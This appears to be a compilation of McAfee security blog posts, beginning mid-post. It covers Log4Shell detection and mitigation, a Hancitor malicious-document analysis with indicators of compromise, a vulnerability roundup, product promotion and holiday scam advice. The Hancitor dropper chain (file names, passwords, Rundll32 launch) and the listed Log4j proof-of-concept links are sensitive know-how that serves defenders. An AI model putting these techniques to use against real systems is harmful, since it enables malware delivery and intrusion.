Additionally, it is recommended to enable the ENS ATP rules that prevent or detect post exploitation techniques such of second stage payload execution, credential dumping or encryption activity from ransomware, use of malicious tools or lateral movement.
An Emergency User Defined Signature has been written and tested by McAfee Enterprise to provide immediate protection against the Apache Log4j2 Remote Code Execution Vulnerability.
For details on latest signatures, please follow the KB…KB95091: McAfee Enterprise coverage for Apache Log4j CVE-2021-44228 Remote Code Execution
Assuming breach is critical especially if you know that you had exposed assets and therefore, build forensics and post exploitation detection techniques this includes exploitation of living of the land binaries (LOLBINS), credential dumping as well as using information such as known file hashes / hunting queries to query web server / reverse proxy/ Network IPS logs.
In addition to an Intelligence Summary, Insights provides exportable YARA rules to find additional Indicators of Compromise.
As mentioned above, you can leverage Real Time and Historical Search functionality to proactively identify vulnerable systems or post exploit activity such as…
Identify Indicators of Compromise associated with exploit payloads
Along with control on the endpoint, visibility into attacks and where data is being uploaded is also critical to stopping Data Exfiltration. Mapping threats to the MITRE ATT&CK Framework will provide visibility into ongoing attacks happening in the cloud and where security controls can be improved to stop future attacks.
Another critical method to stopping the exfiltration of data is putting restrictions against data uploads to non-sanctioned cloud storage. Limiting data uploads to only sanctioned Cloud Service Providers can stop external and insider threats from transferring data to Cloud Services that are questionable or not sanctioned. The Cloud Registry within MVISION Cloud/Unified Cloud Edge will provide ratings for well over 25,000 Cloud Service Providers so restrictions can be placed on CSPs with high risks or attributes that put company data at risk.
The current situation is dynamic and our resources to help you understand the attack and mitigations available are also evolving. For the latest updates on McAfee Enterprise threat intelligence and defender resources please continue to follow these sites
MCFE Log4Shell Vulnerability KB: https://kc.mcafee.com/corporate/index?page=content&id=KB95091
MCFE Log4Shell Security Bulletin: https://kc.mcafee.com/corporate/index?page=content&id=SB10377
MCFE Log4Shell Vulnerability Blog: https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/
MCFE Log4Shell Exploit Demonstration by McAfee ATR: https://www.linkedin.com/posts/mcafeeenterprise_cve-2021-44228-log4shell-exploitation-activity-6876241150219485184-URLE
MCFE LinkedIn Live Customer Briefing: https://www.linkedin.com/posts/mcafeeenterprise_mcafee-enterprise-atr-explore-the-internet-breaking-activity-6876614287197122560-wNuD
FEYE Log4Shell Vulnerability KB: https://community.fireeye.com/s/article/000003827
The post Threat Intelligence and Protections Update Log4Shell CVE-2021-44228 appeared first on McAfee Blog.
By Guilherme Venere, Ismael Valenzuela, Carlos Diaz, Cesar Vargas, Leandro Costantino, Juan Olle, Jose Luis Sanchez Martinez, AC3 Team
Collaborators: ATR Team (Steve Povolny, Douglas McKee, Mark Bereza), Frederick House (FireEye), Dileep Kumar Jallepalli (FireEye)
In this post we want to show how an endpoint solution with performant memory scanning capabilities can effectively detect active exploitation scenarios and complement network security capabilities your company has implemented.
As it is becoming the norm lately, a new vulnerability affecting a widely used library was recently released just in time for the Holidays. As detailed in our ATR blog, CVE-2021-44228 reported a vulnerability in the Log4J Java library affecting applications and web sites using the library to perform logging.
This vulnerability allows an attacker to coerce the vulnerable site or application to load and execute a malicious Java code from an untrusted remote location. Attack vectors are varied but the most common is associated with the attacker sending crafted strings as part of a network protocol to the target machine, like for example a modified HTTP Header sent as part of a POST request.
That is the reason many defenders are focusing their efforts on detecting the malicious strings through the network traffic. However, network signatures can be bypassed and there are reports confirming threat actors are adapting their network attacks with various forms of obfuscation to defeat network scanning. The following image shows some of the current obfuscation techniques that have been observed or reported related to this attack.
Source: https://github.com/mcb2Eexe/Log4j2-Obfucation
This doesn’t mean that network protection solutions are not useful against this attack. Network security platforms provide a first layer of defense and should be used as part of a defensible security architecture (security risk treatment strategy), augmented by additional layers of protection, detection, visibility, and response. Modern endpoint solutions are uniquely positioned to complement network-based capabilities with in-depth host-based visibility of system processes, like in-memory scanning and rapid response orchestration. This combination results in a robust defense against threats like Log4Shell.
To understand how memory scanning can help complement the network security platforms after a connection arrives to the endpoint and defeating the obfuscation layers, let’s take a look at the diagram below, describing the flow of execution for a common web based Log4J attack.
Let’s outline what happens:
In Step 1, an attacker sends a specially crafted string to the web server hosting the vulnerable application. This string, as we have seen, can be obfuscated to bypass network-based signatures.
In Step 2, the application proceeds to de-obfuscate this string to load it in memory. Once loaded into memory, the application initiates a LDAP connection to request the address of where the malicious class is located.
In Step 3, the attacker-controlled LDAP server responds with the location of the malicious Class file by indicating the HTTP URL address of where it is hosted.
In Step 4, the vulnerable application will proceed to initiate a download for that malicious class file.
In Step 5, the vulnerable application will load and run the malicious class file from step 4.
At this moment, the attacker achieves code execution on the target, leaving traces that may provide visibility on this activity for the defender. For example, spawning additional processes or touching files and registry keys after an exploitation
With this in mind, let’s imagine we could trigger a memory scan at some point in this execution flow to detect the presence of the malicious code. In general, scanning the memory of an endpoint is expensive from a processing perspective, therefore it’s not something that can be done continuously or even very often, but under specific circumstances it can be achieved with precision.
So, suppose we could trigger a memory scan at any point after step (2). We would have a high probability to find the de-obfuscated string used within the process memory at that time. If the memory is scanned after the malicious class file is downloaded, that content would also be available for scanning in its de-obfuscated form.
Such possibilities make the memory signature performant, and efficient, given the timing of the detection mainly depends on the trigger used to start the memory scan.
These technical capabilities are possible in ENS, let us show you how to do that!
In ENS (Endpoint Security) 10.7 update 4 and above, there is a powerful security feature available to every defender, and WE absolutely love it, which is the ability to trigger a memory scan from an Expert Rule.
We have talked about Expert Rules before, these are customizable access control rules which the end-user uses to detect suspicious activity not commonly seen by other scanners. McAfee Enterprise also provides community Expert Rules mapped to the MITRE ATT&CK Matrix through our public GitHub.
The feature we are interested in now is the ability to trigger a memory scan when an Expert Rule fires. That would allow us to target the applications vulnerable to Log4J and identify the moment they are being exploited.
Consider the following rule:
In the example rule above, we see a section defining ACTORS (inside the Process {…} section) and TARGETS (inside the Target {…} section). We define as actors any process that may be vulnerable to the Log4J exploit. In this case JAVA.EXE for standalone Java applications and TOMCAT?.EXE for Apache web-based applications. Either of these processes need to load both JAVA.DLL and JVM.DLL to ensure the Java runtime is active.
In the target section we add any potential payload of the attack. As Expert Rules are not focused on network traffic, we need to focus on the last step of the execution flow, which is when the payload is executed. Additional triggers like files or registry keys accessed can be added as more information about exploits become available. We may also have in this section any exclusion of valid behavior as shown in the example above with the “Exclude” on command line parameter. This exclusion is something customers can tailor to their environment to avoid false positives.
This expert rule will trigger when any ACTOR process spawns any of the TARGET payloads. If the rule were just that, one could see it would not be too effective in detecting the exploit and would probably cause many false positives.
But notice this line at the beginning of the rule:
This instruction tells ENS 10.7 to initiate a memory scan against the ACTOR process which caused the expert rule to trigger, and only that process. Now we have a reliable trigger for a performant memory scan, avoiding the performance issues of a blind memory scan, and it is done at a time very close to the initial exploitation attempt, which guarantees the de-obfuscated string will be in memory.
The second part of this solution is executed by the AV DAT Engine when it scans the memory of the process which triggered the Expert Rule. Once this string is found, a detection will occur on the affected process, and the action configured in the Expert Rule REACTION line will be applied. More information about available actions are described in KB95901 – McAfee Enterprise coverage for Apache Log4j CVE-2021-44228 Remote Code Execution. Note we recommend customers to use the REPORT action initially until they have sorted out what processes they need to monitor.
The first event highlighted above is the Expert Rule triggering for a suspicious process spawning from JAVA.EXE, and the second shows the AV DAT detection indicating the memory of that process had signatures of the exploit.
Note:
IF only the Expert Rule detection was present and NOT the JNDI/Log4J-Exploit event, it would indicate a program has executed children processes considered suspicious, and customers are advised to review the event and improve the Expert Rule accordingly.
However, IF, both the Expert Rule and JNDI/Log4j-Exploit events are triggered for the same program, we have confidently detected the presence of the process being exploited.
McAfee Enterprise provides more information about our current coverage for Log4J vulnerability in KB95901 – McAfee Enterprise coverage for Apache Log4j CVE-2021-44228 Remote Code Execution. This article contain links to download the Expert Rule and the associated EXTRA.DAT, as well as details on how to set up ePO to use them in your environment.
Customers who want to implement this solution are invited to review the instructions in the KB and associated documentation. It is highly recommended to review the Expert Rule and customize it to your environment.
To protect an environment against attacks like LOG4J, a layered strategy comprised of network security coupled by targeted endpoint memory scans allows defenders to effectively detect and prevent the attack execution flow against vulnerable systems exposed via network vectors.
Our ENS Expert Rules and Custom Scan reactions are designed to enable defenders with such capabilities so they can apply precise countermeasures against these emerging threats.
The post Log4J and The Memory That Knew Too Much appeared first on McAfee Blog.
By Sriram P & Lakshya Mathur
Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware, and many more. Recently at McAfee Labs, we observed Hancitor Doc VBA (Visual Basic for Applications) samples dropping the payload using the Windows clipboard through Selection.Copy method.
This blog focuses on the effectiveness of this newly observed technique and how it adds an extra layer of obfuscation to evade detection.
Below (Figure 1) is the Geolocation based stats of Hancitor Malicious Doc observed by McAfee since September 2021
Malware authors send the victims a phishing email containing a link as shown in the below screenshot (Figure 3). The usual Docusign theme is used in this recent Hancitor wave. This phishing email contains a link to the original malicious word document. On clicking the link, the Malicious Doc file is downloaded.
Since the macros are disabled by default configuration, malware authors try to lure victims into believing that the file is from legitimate organizations or individuals and will ask victims to enable editing and content to start the execution of macros. The screenshot below (Figure 4) is the lure technique that was observed in this current wave.
As soon as the victim enables editing, malicious macros are executed via the Document_Open function.
There is an OLE object embedded in the Doc file. The screenshot below (Figure 5) highlights the object as an icon.
The loader VBA function, invoked by document_open, calls this random function (Figure 6), which moves the selection cursor to the exact location of the OLE object using the selection methods (.MoveDown, .MoveRight, .MoveTypeBackspace). Using the Selection.Copy method, it will copy the selected OLE object to the clipboard. Once it is copied in the clipboard it will be dropped under %temp% folder.
When an embedded object is being copied to the clipboard, it gets written to the temp directory as a file. This method is used by the malware author to drop a malicious word document instead of explicitly writing the file to disk using macro functions like the classic FileSystemObject.
In this case, the file was saved to the %temp% location with filename name “zoro.kl” as shown in the below screenshot (Fig 8). Fig 7 shows the corresponding procmon log involving the file write event.
Using the CreateObject(“Scripting.FileSystemObject”) method, the malware moves the file to a new location \Appdata\Roaming\Microsoft\Templates and renames it to “zoro.doc”.
This file is then opened with the built-in document method, Documents.open. This moved file, zoro.doc, is password-protected. In this case, the password used was “doyouknowthatthegodsofdeathonlyeatapples?”. We have also seen the usage of passwords like “donttouchme”, etc.
This newly dropped doc is executed using the Documents.Open function (Figure 11).
Zoro.doc uses the same techniques to copy and drop the next payload as we saw earlier. The only difference is that it has a DLL as the embedded OLE object.
It drops the file in the %temp% folder using clipboard with the name “gelforr.dap”. Again, it moves gelforr.dap DLL file to \Appdata\Roaming\Microsoft\Templates (Figure 12).
Finally, after moving DLL to the templates folder, it is executed using Rundll32.exe by another VBA call.
MITRE ATT&CK
| Technique ID | Tactic | Technique details |
| T1566.002 | Initial Access | Spam mail with links |
| T1204.001 | Execution | User Execution by opening the link. |
| T1204.002 | Execution | Executing downloaded doc |
| T1218 | Defense Evasion | Signed Binary Execution Rundll32 |
| T1071 | C&C (Command & Control) | HTTP (Hypertext Transfer Protocol) protocol for communication |
IOC (Indicators Of Compromise)
| Type | SHA-256 | Scanner | Detection Name |
| Main Doc | 915ea807cdf10ea4a4912377d7c688a527d0e91c7777d811b171d2960b75c65c | WSS | W97M/Dropper.im |
| Dropped Doc | c1c89e5eef403532b5330710c9fe1348ebd055d0fe4e3ebbe9821555e36d408e | WSS | W97M/Dropper.im
|
| Dropped DLL | d83fbc9534957dd464cbc7cd2797d3041bd0d1a72b213b1ab7bccaec34359dbb | WSS | RDN/Hancitor |
| URLs (Uniform Resource Locator) | hxxp://mettlybothe.com/8/forum[.]php | WebAdvisor | Blocked |
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On December 9th, a vulnerability (CVE-2021-44228) was released on Twitter along with a POC on Github for the Apache Log4J logging library. The bug was originally disclosed to Apache on November 24th by Chen Zhaojun of Alibaba Cloud Security Team. The impact of this vulnerability has the potential to be massive due to its effect on any product which has integrated the log4j library into its applications. This includes products from internet giants such as Apple iCloud, Steam, Samsung Cloud storage, but thousands of additional products and services will likely be vulnerable. This is just the beginning as Java is heavily used in applications spanning nearly every industry.
The vulnerability exists in the way the Java Naming and Directory Interface (JNDI) feature resolves variables. When a JNDI reference is being written to a log, JNDI will fetch all requirements to resolve the variable. To complete this process, it will download and execute any remote classes required. This applies to both server-side and client-side applications since the main requirements for the vulnerability are any attacker-controlled input field and this input being passed to the log.
To orchestrate this attack, an attacker can use several different JNDI lookups. The most popular lookup currently being seen in both PoCs and active exploitation is utilizing LDAP; however, other lookups such as RMI and DNS are also viable attack vectors. It’s worth noting that the simplistic LDAP/RMI attack vectors only work with older JDK versions. There are publications that have demonstrated methods to circumvent this limitation to achieve code execution, albeit with added complexity to the attack.
Java object deserialization vulnerabilities are not a new breed of vulnerabilities or attacks. Previous offensive research such as “marshalsec” can be applied to this vulnerability making code execution simplistic.
**Update 12/20/2021**
On December 18th, a new denial of service (DOS) vulnerability, CVE-2021-45105 was discovered affecting versions 2.0-alpha1 through 2.16.0 of Log4j. To mitigate the original Log4j vulnerability, Apache completely disabled JNDI lookups in version 2.16, however self-referential lookups remained a possibility under non-default configurations. When a nested variable is substituted by the StrSubstitutor class, it recursively calls the substitute() class. When this nested variable recursively references the variable being replaced, it leads to an infinite recursion and a DoS condition on the server. Current research shows this does not lead to code execution, like the previous vulnerabilities.
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**Update 12/14/2021**
It has been confirmed that Log4j version 1.2 is vulnerable to similar attacks through the JMSAppender component and has been issued CVE-2021-4104. It is important to note this is not as easily exploitable as version 2.x. For exploitation to occur, JMSAppender must be enabled, and set with TopicBindingName or TopicConnectionFactoryBindingName configurations allowing JMSAppender to perform JNDI requests. This is not the default configuration.
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**Update 12/20/2021**
Apache has released a new version of Log4j, version 2.17.0 to address the latest DOS vulnerability. Two additional classes were created that inherit from StrSubstitutor to deal with parsing strings that may contain user input. These additions do not allow recursive evaluation. Due to exploitation of this vulnerability leading to a DOS, it is considered less critical than the previously reported Log4j vulnerabilities which can lead to remote code execution. It is important to note, for exploitation to be successful there are several non-standard conditions that need to be met. As the Log4j situation is continuing to evolve, we recommend upgrading to version 2.17.0, where possible.
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**Update 12/14/2021**
Apache has released a new version of Log4j, version 2.16.0. This update disables JDNI by default requiring a user to explicitly turn the JNDI feature on and completely removes support for message lookups. When considering mitigations strategies for the Log4Shell vulnerabilities this should be considered the preferred method of mitigation.
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There is a lot of information about different ways to mitigate this vulnerability. The most important and complete mitigation is to update log4j to the stable release version 2.17.0. Some sources are reporting that Java versions 6u211, 7u201, 8u191, and 11.0.1 are not vulnerable to this attack. This is not entirely the case. These versions are more resilient to the LDAP attack vector; however, they do not completely mitigate the vulnerability and are still susceptible to attack. To determine if a Java application is running a vulnerable version, a list of the impacted JAR files can be determined based on the hashes linked here.
The McAfee Enterprise ATR (Advanced Threat Research) team has been closely tracking this vulnerability since it became known. Our initial goal was to determine the ease of exploitation using the public PoC, which we have reproduced and confirmed. This was done using the public Docker container, and a client/server architecture leveraging both LDAP and RMI, along with marshalsec to exploit log4j version 2.14.1. We have posted a short video to demonstrate the reproduction for anyone who is struggling with this.
Going forward we plan to test variations of the exploit delivered using additional services such as DNS. We may update this document accordingly with results.
In the meantime, McAfee Enterprise has released a network signature KB95088 for customers leveraging NSP (Network Security Platform). The signature detects attempts to exploit CVE-2021-44228 over LDAP. This signature may be expanded to include other protocols or services, and additional signatures may be released to complement coverage.
Full coverage for this vulnerability can be tracked from our Security Bulletin here.
Resources for the issue continue to evolve and expand rapidly. A growing list of PoCs and tools can be found here:
https://github.com/tangxiaofeng7/apache-log4j-poc
https://github.com/christophetd/log4shell-vulnerable-app
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
https://www.greynoise.io/viz/query/?gnql=tags%3A%22Apache%20Log4j%20RCE%20Attempt%22
https://rules.emergingthreatspro.com/open/
https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
https://github.com/corretto/hotpatch-for-apache-log4j2
https://github.com/nccgroup/log4j-jndi-be-gone
The post Log4Shell Vulnerability is the Coal in our Stocking for 2021 appeared first on McAfee Blog.
How do you connect online these days? I’ll give you an example from my own life: From my 15-year old son to my 80-year-old mother, not one of us leaves the house without our phone. And today, there isn’t a single thing you can’t do on your phone. It’s the minicomputer that goes where you go.
This trend in the way we connect is reflected in recent data too. In fact, we’ve found that the average consumer spends 6 hours and 55 min online per day, split between mobile (52%) and desktop (48%). Whether you’re a Boomer, Gen X, a Millennial, or Gen Z, the way you connect online is diverse and specific to you.
As for what we’re doing online? It’s just about everything. After all, we spend an average of 7 hours per day on connected devices and the pandemic has forced us to do even more online. The downside to this rapid change in the way we live is that we are opening ourselves up to more risk which leaves consumers feeling highly concerned about their ability to keep their personal info secure or private. We need new protection for this new normal.
What all these changes mean is that you’re able to have the same online experience regardless of where you are, what you’re doing, or what device you’re using. Your favorite streaming service is a great example – you can just as easily find a movie on a tablet as you can on your laptop. In fact, you can pause the movie you’re watching on that tablet and pick up where you left off on your laptop. Your experience with online security should offer the same convenience and familiarity. More importantly, online protection should give you a feeling of confidence however or wherever you choose to connect.
This means knowing your personal info is secure even when accessing an unsecured network, your browsing habits remain private, and you can take necessary actions should your information be compromised. To put it another way, YOU are what we’re focused on protecting and we do that by making sure everything you connect with is also secure.
A phone is the remote control for your life. From the palm of your hand, you’re able to shop, browse, stream, and create – everything you do online you can now do from your phone. So, it’s crucial that your phone be a major focus of our online protection. The new mobile app makes it easier to get robust protection for your identity, privacy, and phone. Let’s look at a few of the capabilities offered by the new mobile app.
Think about all the online accounts you’ve created in the past year. How many of them do you use regularly? Sometimes I think I have more food delivery apps on my phone than I do restaurants to use them on. Regardless of how often you use an account (or if you no longer use it at all!), any personal information (like emails, addresses, credit cards) added to it is available online and vulnerable to breaches. McAfee Security comes with identity protection, a feature that monitors your personal information and then notifies you when there’s a risk of your data being compromised. What this means is that if we detect that your data was stolen, you’ll be alerted an average of 10 months earlier than similar services, so you can act before your data is used illegally or shows up on the dark web.
Let’s say you’re about to use the free internet at your favorite café for a speedier connection. Time to flip on your virtual private network (VPN). Forget about digging through a sea of menus to find your VPN. The new mobile app offers a seamless VPN experience so you can keep your activity hidden on less-than-secure Wi-Fi. Or, better yet, you can set up a Secure VPN to automatically turn on for unsecured Wi-Fi networks. Whatever you choose, Secure VPN keeps your personal data and location private anywhere you go with unlimited data and bank-grade Wi-Fi encryption.
At the end of the day, phones are devices and they’re vulnerable to viruses, malware, and, increasingly, malicious apps. The new McAfee Mobile app offers an antivirus scan for Android phones and system scans to see if your passcode is strong enough and that your OS is up to date on iOS devices.
Most importantly, the app is part of McAfee’s total online protection, so the experience on your phone is the same as on your PC. It’s protection that goes where you go – at home on your PC, or on the go with your mobile.
If you’re an existing McAfee subscriber using McAfee Total Protection or McAfee LiveSafe, you can get the app right now. And, if you’ve already got the app installed, just make sure it’s up-to-date and you’ll be all set with the new look and features.
Interested in trying the app out? You can buy or get a free trial of McAfee Total Protection here and get started today.
The post Reimagining mobile security for the way we live our lives today, tomorrow, and beyond. appeared first on McAfee Blog.
CVE-2021-20322: Of all the words of mice and men, the saddest are, “it was DNS again.”
For all our newcomers, welcome to the Advanced Threat Research team’s monthly bug report – a digest of all the latest and greatest vulnerabilities from the last 30-ish days based on merits just a tad more nuanced than sorting NVD by “CVSS > 9.0.” Instead, we focus on qualitative and experience-based analysis, relying on over 100 years of combined industry experience within our team.
To those who are returning after having read last month’s issue, I would like to congratulate you for being a Bug Report fan before it was cool – which it now most assuredly is, thanks in no small part to a litany of fascinating vulnerabilities. We encourage our veterans to stick around as long as possible, so that a year from now you can complain about how we’re washed up and how much better our early editions were.
Palo Alto Networks (PAN) firewalls that use its GlobalProtect Portal VPN running PAN-OS versions older than 8.1.17 are vulnerable to a cutting-edge, state-of-the-art style of vulnerability known as a “stack-based buffer overflow.” Although the vulnerable code is normally not reachable, when combined with an HTTP smuggling vulnerability, CVE-2021-3064 can be used to gain remote code execution, a remote shell, and even access to sensitive configuration data according to Randori Attack Team researchers. Randori discovered the vulnerability over a year ago but chose not to disclose it to PAN until September of this year, using it as part of its “continuous and automated red team platform” during the interim – I suppose we should be thankful that PAN has claimed in its security advisory that no evidence of exploitation of this vuln has been discovered, despite its age.
Absence of “in-the-wild” exploitation aside, we should also be grateful that the number of people who should care is rapidly dwindling (an ever-present theme of 2021). Randori initially reported over 70,000 internet-accessible PAN firewalls running vulnerable versions of PAN-OS according to Shodan, which it later amended to 10,000. As of this writing, that number has fallen to around 7,000. Even so, 7,000 vulnerable firewalls mean an even larger number of vulnerable clients at risk of an over-the-internet attack vector requiring zero authentication. Those connecting to PAN firewalls running on VMs have even greater cause for concern as these lack ASLR, a factoid I have chosen to add to my ever-growing “why is that a thing” list, right next to the Ghostbusters remake.
We suggest an experiment: open the Shodan search linked above and note the total number of devices running a vulnerable version of PAN-OS. Next, call up whoever manages your firewall and demand they power it down immediately – use threats if you must. Check the Shodan scan again: has the number gone down? If so, it’s probably time to update. If you’re an Arch user and the prospect of updating terrifies you, Palo Alto has also indicated that its signatures for Unique Threat IDs 91820 and 91855 should block exploitation of CVE-2021-3064.
Be sure to stay up to date on the latest CVEs – our security bulletins are a great resource for finding product information for all kinds of critical vulnerabilities.
Researchers at the University of California, Riverside have discovered a flaw in the way the Linux kernel handles “ICMP fragment needed” and “ICMP redirect” errors, allowing an attacker to quickly learn the randomized port number assigned to a UDP socket. What this description fails to convey is the big picture impact of this vulnerability, which is its use as a side-channel for the now-prehistoric DNS cache poisoning attack, in which an off-path malicious actor ‘poisons’ a DNS resolver’s cache with a false record, mapping a known domain (google.com) to an IP address of their choosing (98.136.144.138). Truly nefarious.
To be frank, just about everyone should be at least raising an eyebrow at this one. Although the researchers have indicated in their whitepaper that this particular side-channel only affects about 13.85% of open resolvers on the internet, it’s important to note that various security services rely on proof of domain ownership, including even the issuing of certificates, making the impact tremendous. Users of popular DNS service Quad9 have particular cause for concern, as the paper claims it falls under the vulnerable 13.85%. Linux users should also be concerned, and not just because their drivers refuse to work – DNS software such as BIND, Unbound, and dnsmasq running on their platform of choice are also vulnerable.
This is where things get tricky. DNS extensions that were standardized over two decades ago, such as DNSSEC and DNS cookies, should successfully mitigate this and all other DNS cache poisoning attack side channels. The unfortunate reality is that these features see very limited adoption due to backwards-compatibility concerns. While we wait for these dinosaurs holding back progress to die out, the authors of the aforementioned whitepaper have suggested some alternative mitigations, including enabling the IP_PMTUDISC_OMIT socket option, introducing additional randomization to the structure of the DNS exception cache, and configuring DNS servers with a singular default gateway to outright reject ICMP redirects. Further details can be found in section 8.4 of their paper.
Unfortunately, not every vulnerability can be adequately addressed by network security products, and this vulnerability happens to be one of those cases. Your best bet is to follow the mitigations mentioned above and keep your servers up to date.
Blacksmith, a name referring to both the vulnerability and the fuzzer created to exercise it, is a new implementation of the Rowhammer DRAM hardware vulnerability from 2014. The crux of Rowhammer is the use of high frequency read operations to induce bit flips in neighboring regions of physical memory, which can lead to the crossing of any security barrier if the attacker can massage memory so that critical data is stored in a vulnerable physical page. Modern DRAM hardware uses a technology called Target Row Refresh (TRR) to prematurely refresh regions of physical memory targeted by common Rowhammer attacks. Researchers at ETH Zurich and their associates discovered that TRR exploits the uniform nature of memory accesses used by existing Rowhammer attacks to “catch” them, and so devised a Rowhammer attack that used non-uniform accesses, arriving at CVE-2021-42114, which bypasses TRR and all other modern Rowhammer mitigations.
Everyone. Just about every common electronic device you can think of uses DRAM and of the DIMMs (RAM sticks) tested, the researchers did not find a single one that was completely safe. It might be easy to presume that hardware vulnerabilities such as this are academically fascinating but have little real-world impact, but research published since 2014 has shown Rowhammer attacks successfully escape JavaScript containers in the browser, cross VM boundaries in the cloud, and even achieve RCE across networks with high enough throughput. Perhaps the greatest tragedy of Blacksmith is that it arrived a month too late – it would have fit in perfectly with Halloween monsters like Freddy Krueger or Jason Voorhees who also see new iterations every few years and refuse to stay dead.
Hide your PC, hide your tablet, and hide your phone, ‘cause they’re hammerin’ everybody out there. Beyond that, there’s not much to be done besides wait for JEDEC to develop a fix and for DRAM manufacturers to begin supplying hardware with the new standard.
We at McAfee Enterprise are doing everything in our power to address this critical vulnerability. In other words, we’ll be waiting for that JEDEC fix right along with you.
The post The Bug Report – November Edition appeared first on McAfee Blog.
Relying on the kindness of strangers is not an ideal strategy for CISOs and CIOs. And yet that is the precise position where most find themselves today while trying to battle cybersecurity issues across their supply chain. While these supply chains have plenty of their own challenges, such as global disruptions of distribution, our recent research shows that it’s the cybersecurity problems that will long survive for the long term.
It’s not as though enterprises rely on their partners any more today than they did ten years ago. Their needs have not changed and are unlikely to change, except those rare instances where an enterprise will choose to manufacture their own supplies rather than rely on partners. Consider, for example, Costco creating its own gigantic chicken farm. Other than outlier examples like this, partner reliance is relatively stable.
What is changing with the supply chain is how much system access is being granted to these partners. They are getting access they didn’t always get and are getting far deeper access as well. As technology has advanced to allow such access, enterprises have accepted.
Given the wide range of partners–suppliers, distributors, contractors, outsourced sales, cloud platforms, geographical specialists, and sometimes your own largest customers–the cybersecurity complexities are growing by orders of magnitude. In addition, the more integrations that enterprises accept, the higher the level that their risk is. To be more precise, the risk doesn’t necessarily grow with the number of partners as much as the risk grows with the number of partners whose cybersecurity environments are less secure than the enterprise’s own environment.
To even begin to craft a cybersecurity strategy to manage partners and a global supply chain, the enterprise CISO needs to have a candid understanding of what their partners’ security level truly is. That is tricky, given that many of those partners themselves do not have a good sense of how secure or insecure they are.
One suggestion is to revise contracts to make it a requirement for all partners to maintain a security level equal to the enterprise customer. The contract must not only specify penalties for non-compliance–and those penalties must be sufficiently costly that it makes no sense for a partner to take that chance–but it must specify means to determine and re-verify that security level. Surprise inspections and the sharing of extensive log files would be a start.
Otherwise, even the strictest security environment such as Zero Trust may be unable to plug supply chain holes due to sloppier partner security practices. Let’s say that a large enterprise retailer is working with a large consumer goods manufacturer as a partner. A good environment will start with strict authentication, making sure that the user from the partner is really that authorized user. The enterprise environment must also watch the user throughout the session to make sure the user doesn’t do anything suspicious. But if the partner has been breached, malware could sneak in through the secure tunnel and, if it’s not caught by the enterprise, there’s a problem and now they can be breached.
This is not hypothetical. Since the beginning of the pandemic, our research found that a vast majority of global enterprises (81 percent) said that they are seeing far more attacks since the beginning of COVID-19.
Almost every business is dependent on the supply chain, making it a prime target for cybercriminals looking to cause disruption and breach wider networks. As the holiday season approaches, we are already seeing a spike in consumer and business activity across the supply chain, making it a prime target for cybercriminals looking to target essential and lucrative services.
Attackers are going to continue to leverage the global supply chain as an initial entry vector, accessing the network through a trusted connection, system, or user. The fact that these attacks exploit trusted channels makes them very difficult to prevent or detect. As organisations continue their digital transformation, including ever-more cloud services, managed services and endpoint modernization, the risks of supply chain threats will increase as its prevalence as a vector does so.
The post Fighting Supply Chain Threats Is Complicated appeared first on McAfee Blog.
Co-authored by: Sriram P and Deepak Setty
‘Tis the season for scams. Well, honestly, it’s always scam season somewhere. In 2020, the Internet Crime and Complaint Center (IC3) reported losses in excess of $4.1 billion dollars in scams which was a 69% increase over 2019. There is no better time for a scammer celebration than Black Friday, Cyber Monday, and the lead-up to Christmas and New Year. It’s a predictable time of the year, which gives scammers ample time to plan and organize. The recipe isn’t complicated, at the base we have some holiday excitement, sprinkle in fake shopping deals and add some discounts, and ho ho ho we have social engineering scams.
In this blog, we want to increase awareness related to scams as we expect elevated activity during this holiday season. The techniques used to scam folks are very similar to those used to spread malware too, so always be alert and use caution when browsing and shopping online. We will provide some examples to help educate consumers on how to identify scams. The victims of such scams can be others around you like your kids or parents, so read up and spread the word with family and friends. Awareness, education, and being alert are key to keeping you at bay from fraudsters.
Although there is a myriad of scams out there, we expect the most common scams and targets this season to be:
SMSishing, email-based Phishing, and push notifications will be the most common vectors initiating scams during this holiday season. Here are some common tactics in use today:
This is a common theme around this time of the year. Deals, discounts, and gift cards can be costly to your bank account. Be wary of URLs being presented to you over email or SMS. Phishing emails, bulk mailing, texting, and typo-squatting are some of the ways that scammers target their prey.
Scammers will create a sense of urgency by telling you that you have limited time to claim the deal or that there is low inventory for popular items in their store. It’s not difficult for scammers to identify sought-after electronics items or holiday gifts for sale and offer them for sale on their fake stores. Such scams are believable given the supply chain challenges and delivery shortages over the last few months.
Getting people worried about a life-changing event or disrupting travel plans can be concerning. So, if you get an unexpected call from someone claiming to be from the FBI, police, IRS, or even a travel company, stop and think. They may be using scare tactics to dupe you. Never divulge personal information and if in doubt, ask them a lot of directed questions and fact check them. As an example, check to see if they know your home address, account number, itinerary number, or bank balance depending on who they claim to be. Scammers typically don’t have specific details and when put on the spot, they’ll hang up.
Like scare tactics, scammers may prey on vulnerable people. Although there can be many variations of such scams, the more common ones are Romance Scams where you end up connecting to someone with a fake profile, and Fake Charity Scams where you receive a phone call or an email requesting a donation. Do not entertain such requests over the phone especially if you receive a phone call soliciting a donation. During the conversation, they will attempt to make you feel guilty or selfish for not contributing enough. Remember, there is no rush to donate. Go to a reputable website or a known organization and donate if you must after due diligence.
Successful scams are situationally accurate. You may be the smartest guy in the room, but when you eagerly waiting for that delivery and you see an email update claiming a delivery delay from UPS, you might fall for a scam. This is particularly true in the holiday season and therefore such themes are more prevalent. Here are some tips on how to identify scams early on.
If you believe that you have been a victim of a scam, here are a few tips that might help.
It’s become more common recently to receive text messages for scammers. The following few text messages demonstrate SMSishing attempts.
2. The following are fake texts that attempt to entice you click the link. The bait is the Gift card. One can tell that they are a similar theme since they originate from fake phone numbers, which are very similar but not exact. The domain names of the two URLs are totally random (probably compromised URLs). You can tell that back in October, the full URL based SMShing attempts were not very effective which is why in Nov, they probably used keywords like “COSTCO” and “ebay” within the URL and inline to their SMS context, to make it more likely for people to click.
Also note that some of the URLs only have an “http” versus a “https”, something we had noted earlier in the blog.
One cannot trust an email by the text. You should review the link to ensure it takes you to where it claims to. The following is an example email where the link is not what it claims to be.
Shopify is a Canadian multinational e-commerce company. It offers online retailers a suite of services, including payments, marketing, shipping, and customer engagement tools.
